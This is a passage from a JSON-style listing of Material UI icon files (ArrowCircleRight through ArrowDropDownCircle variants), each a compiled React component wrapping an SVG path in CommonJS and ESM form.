    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22 12c0-5.52-4.48-10-10-10S2 6.48 2 12s4.48 10 10 10 10-4.48 10-10m-10 1H8v-2h4V8l4 4-4 4z\"\n}), 'ArrowCircleRight');"
  },
  {
    "path": "packages/mui-icons-material/lib/ArrowCircleRight.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M22 12c0-5.52-4.48-10-10-10S2 6.48 2 12s4.48 10 10 10 10-4.48 10-10m-10 1H8v-2h4V8l4 4-4 4z\"\n}), 'ArrowCircleRight');"
  },
  {
    "path": "packages/mui-icons-material/lib/ArrowCircleRightOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22 12c0-5.52-4.48-10-10-10S2 6.48 2 12s4.48 10 10 10 10-4.48 10-10M4 12c0-4.42 3.58-8 8-8s8 3.58 8 8-3.58 8-8 8-8-3.58-8-8m12 0-4 4-1.41-1.41L12.17 13H8v-2h4.17l-1.59-1.59L12 8z\"\n}), 'ArrowCircleRightOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ArrowCircleRightOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M22 12c0-5.52-4.48-10-10-10S2 6.48 2 12s4.48 10 10 10 10-4.48 10-10M4 12c0-4.42 3.58-8 8-8s8 3.58 8 8-3.58 8-8 8-8-3.58-8-8m12 0-4 4-1.41-1.41L12.17 13H8v-2h4.17l-1.59-1.59L12 8z\"\n}), 'ArrowCircleRightOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ArrowCircleRightRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22 12c0-5.52-4.48-10-10-10S2 6.48 2 12s4.48 10 10 10 10-4.48 10-10m-10 2.79V13H9c-.55 0-1-.45-1-1s.45-1 1-1h3V9.21c0-.45.54-.67.85-.35l2.79 2.79c.2.2.2.51 0 .71l-2.79 2.79c-.31.31-.85.09-.85-.36\"\n}), 'ArrowCircleRightRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ArrowCircleRightRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M22 12c0-5.52-4.48-10-10-10S2 6.48 2 12s4.48 10 10 10 10-4.48 10-10m-10 2.79V13H9c-.55 0-1-.45-1-1s.45-1 1-1h3V9.21c0-.45.54-.67.85-.35l2.79 2.79c.2.2.2.51 0 .71l-2.79 2.79c-.31.31-.85.09-.85-.36\"\n}), 'ArrowCircleRightRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ArrowCircleRightSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22 12c0-5.52-4.48-10-10-10S2 6.48 2 12s4.48 10 10 10 10-4.48 10-10m-10 1H8v-2h4V8l4 4-4 4z\"\n}), 'ArrowCircleRightSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ArrowCircleRightSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M22 12c0-5.52-4.48-10-10-10S2 6.48 2 12s4.48 10 10 10 10-4.48 10-10m-10 1H8v-2h4V8l4 4-4 4z\"\n}), 'ArrowCircleRightSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ArrowCircleRightTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4 12c0-4.41 3.59-8 8-8s8 3.59 8 8-3.59 8-8 8-8-3.59-8-8m8-1H8v2h4v3l4-4-4-4z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4 12c0-4.41 3.59-8 8-8s8 3.59 8 8-3.59 8-8 8-8-3.59-8-8m-2 0c0 5.52 4.48 10 10 10s10-4.48 10-10S17.52 2 12 2 2 6.48 2 12m10-1H8v2h4v3l4-4-4-4z\"\n}, \"1\")], 'ArrowCircleRightTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ArrowCircleRightTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4 12c0-4.41 3.59-8 8-8s8 3.59 8 8-3.59 8-8 8-8-3.59-8-8m8-1H8v2h4v3l4-4-4-4z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M4 12c0-4.41 3.59-8 8-8s8 3.59 8 8-3.59 8-8 8-8-3.59-8-8m-2 0c0 5.52 4.48 10 10 10s10-4.48 10-10S17.52 2 12 2 2 6.48 2 12m10-1H8v2h4v3l4-4-4-4z\"\n}, \"1\")], 'ArrowCircleRightTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ArrowCircleUp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 20c-4.41 0-8-3.59-8-8s3.59-8 8-8 8 3.59 8 8-3.59 8-8 8m0 2c5.52 0 10-4.48 10-10S17.52 2 12 2 2 6.48 2 12s4.48 10 10 10m-1-10v4h2v-4h3l-4-4-4 4z\"\n}), 'ArrowCircleUp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ArrowCircleUp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 20c-4.41 0-8-3.59-8-8s3.59-8 8-8 8 3.59 8 8-3.59 8-8 8m0 2c5.52 0 10-4.48 10-10S17.52 2 12 2 2 6.48 2 12s4.48 10 10 10m-1-10v4h2v-4h3l-4-4-4 4z\"\n}), 'ArrowCircleUp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ArrowCircleUpOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 20c-4.41 0-8-3.59-8-8s3.59-8 8-8 8 3.59 8 8-3.59 8-8 8m0 2c5.52 0 10-4.48 10-10S17.52 2 12 2 2 6.48 2 12s4.48 10 10 10m-1-10v4h2v-4h3l-4-4-4 4z\"\n}), 'ArrowCircleUpOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ArrowCircleUpOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 20c-4.41 0-8-3.59-8-8s3.59-8 8-8 8 3.59 8 8-3.59 8-8 8m0 2c5.52 0 10-4.48 10-10S17.52 2 12 2 2 6.48 2 12s4.48 10 10 10m-1-10v4h2v-4h3l-4-4-4 4z\"\n}), 'ArrowCircleUpOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ArrowCircleUpRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 20c-4.41 0-8-3.59-8-8s3.59-8 8-8 8 3.59 8 8-3.59 8-8 8m0 2c5.52 0 10-4.48 10-10S17.52 2 12 2 2 6.48 2 12s4.48 10 10 10m-1-10v3c0 .55.45 1 1 1s1-.45 1-1v-3h1.79c.45 0 .67-.54.35-.85l-2.79-2.79c-.2-.2-.51-.2-.71 0l-2.79 2.79c-.31.31-.09.85.36.85z\"\n}), 'ArrowCircleUpRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ArrowCircleUpRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 20c-4.41 0-8-3.59-8-8s3.59-8 8-8 8 3.59 8 8-3.59 8-8 8m0 2c5.52 0 10-4.48 10-10S17.52 2 12 2 2 6.48 2 12s4.48 10 10 10m-1-10v3c0 .55.45 1 1 1s1-.45 1-1v-3h1.79c.45 0 .67-.54.35-.85l-2.79-2.79c-.2-.2-.51-.2-.71 0l-2.79 2.79c-.31.31-.09.85.36.85z\"\n}), 'ArrowCircleUpRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ArrowCircleUpSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 20c-4.41 0-8-3.59-8-8s3.59-8 8-8 8 3.59 8 8-3.59 8-8 8m0 2c5.52 0 10-4.48 10-10S17.52 2 12 2 2 6.48 2 12s4.48 10 10 10m-1-10v4h2v-4h3l-4-4-4 4z\"\n}), 'ArrowCircleUpSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ArrowCircleUpSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 20c-4.41 0-8-3.59-8-8s3.59-8 8-8 8 3.59 8 8-3.59 8-8 8m0 2c5.52 0 10-4.48 10-10S17.52 2 12 2 2 6.48 2 12s4.48 10 10 10m-1-10v4h2v-4h3l-4-4-4 4z\"\n}), 'ArrowCircleUpSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ArrowCircleUpTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 20c-4.41 0-8-3.59-8-8s3.59-8 8-8 8 3.59 8 8-3.59 8-8 8m-1-8v4h2v-4h3l-4-4-4 4z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 20c-4.41 0-8-3.59-8-8s3.59-8 8-8 8 3.59 8 8-3.59 8-8 8m0 2c5.52 0 10-4.48 10-10S17.52 2 12 2 2 6.48 2 12s4.48 10 10 10m-1-10v4h2v-4h3l-4-4-4 4z\"\n}, \"1\")], 'ArrowCircleUpTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ArrowCircleUpTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 20c-4.41 0-8-3.59-8-8s3.59-8 8-8 8 3.59 8 8-3.59 8-8 8m-1-8v4h2v-4h3l-4-4-4 4z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 20c-4.41 0-8-3.59-8-8s3.59-8 8-8 8 3.59 8 8-3.59 8-8 8m0 2c5.52 0 10-4.48 10-10S17.52 2 12 2 2 6.48 2 12s4.48 10 10 10m-1-10v4h2v-4h3l-4-4-4 4z\"\n}, \"1\")], 'ArrowCircleUpTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ArrowDownward.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m20 12-1.41-1.41L13 16.17V4h-2v12.17l-5.58-5.59L4 12l8 8z\"\n}), 'ArrowDownward');"
  },
  {
    "path": "packages/mui-icons-material/lib/ArrowDownward.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m20 12-1.41-1.41L13 16.17V4h-2v12.17l-5.58-5.59L4 12l8 8z\"\n}), 'ArrowDownward');"
  },
  {
    "path": "packages/mui-icons-material/lib/ArrowDownwardOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m20 12-1.41-1.41L13 16.17V4h-2v12.17l-5.58-5.59L4 12l8 8z\"\n}), 'ArrowDownwardOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ArrowDownwardOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m20 12-1.41-1.41L13 16.17V4h-2v12.17l-5.58-5.59L4 12l8 8z\"\n}), 'ArrowDownwardOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ArrowDownwardRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11 5v11.17l-4.88-4.88c-.39-.39-1.03-.39-1.42 0s-.39 1.02 0 1.41l6.59 6.59c.39.39 1.02.39 1.41 0l6.59-6.59c.39-.39.39-1.02 0-1.41a.996.996 0 0 0-1.41 0L13 16.17V5c0-.55-.45-1-1-1s-1 .45-1 1\"\n}), 'ArrowDownwardRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ArrowDownwardRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M11 5v11.17l-4.88-4.88c-.39-.39-1.03-.39-1.42 0s-.39 1.02 0 1.41l6.59 6.59c.39.39 1.02.39 1.41 0l6.59-6.59c.39-.39.39-1.02 0-1.41a.996.996 0 0 0-1.41 0L13 16.17V5c0-.55-.45-1-1-1s-1 .45-1 1\"\n}), 'ArrowDownwardRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ArrowDownwardSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m20 12-1.41-1.41L13 16.17V4h-2v12.17l-5.58-5.59L4 12l8 8z\"\n}), 'ArrowDownwardSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ArrowDownwardSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m20 12-1.41-1.41L13 16.17V4h-2v12.17l-5.58-5.59L4 12l8 8z\"\n}), 'ArrowDownwardSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ArrowDownwardTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m20 12-1.41-1.41L13 16.17V4h-2v12.17l-5.58-5.59L4 12l8 8z\"\n}), 'ArrowDownwardTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ArrowDownwardTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m20 12-1.41-1.41L13 16.17V4h-2v12.17l-5.58-5.59L4 12l8 8z\"\n}), 'ArrowDownwardTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ArrowDropDown.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m7 10 5 5 5-5z\"\n}), 'ArrowDropDown');"
  },
  {
    "path": "packages/mui-icons-material/lib/ArrowDropDown.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m7 10 5 5 5-5z\"\n}), 'ArrowDropDown');"
  },
  {
    "path": "packages/mui-icons-material/lib/ArrowDropDownCircle.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m0 12-4-4h8z\"\n}), 'ArrowDropDownCircle');"
  },
  {
    "path": "packages/mui-icons-material/lib/ArrowDropDownCircle.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m0 12-4-4h8z\"\n}), 'ArrowDropDownCircle');"
  },
  {
    "path": "packages/mui-icons-material/lib/ArrowDropDownCircleOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 4c4.41 0 8 3.59 8 8s-3.59 8-8 8-8-3.59-8-8 3.59-8 8-8m0-2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m0 13-4-4h8z\"\n}), 'ArrowDropDownCircleOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ArrowDropDownCircleOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 4c4.41 0 8 3.59 8 8s-3.59 8-8 8-8-3.59-8-8 3.59-8 8-8m0-2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m0 13-4-4h8z\"\n}), 'ArrowDropDownCircleOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ArrowDropDownCircleRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m-.35 12.65-2.79-2.79c-.32-.32-.1-.86.35-.86h5.59c.45 0 .67.54.35.85l-2.79 2.79c-.2.2-.52.2-.71.01\"\n}), 'ArrowDropDownCircleRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ArrowDropDownCircleRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m-.35 12.65-2.79-2.79c-.32-.32-.1-.86.35-.86h5.59c.45 0 .67.54.35.85l-2.79 2.79c-.2.2-.52.2-.71.01\"\n}), 'ArrowDropDownCircleRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ArrowDropDownCircleSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m0 13-4-4h8z\"\n}), 'ArrowDropDownCircleSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ArrowDropDownCircleSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m0 13-4-4h8z\"\n}), 'ArrowDropDownCircleSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ArrowDropDownCircleTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 4c-4.41 0-8 3.59-8 8s3.59 8 8 8 8-3.59 8-8-3.59-8-8-8m0 11-4-4h8z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m0 18c-4.41 0-8-3.59-8-8s3.59-8 8-8 8 3.59 8 8-3.59 8-8 8m0-5 4-4H8z\"\n}, \"1\")], 'ArrowDropDownCircleTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ArrowDropDownCircleTwoTone.mjs",
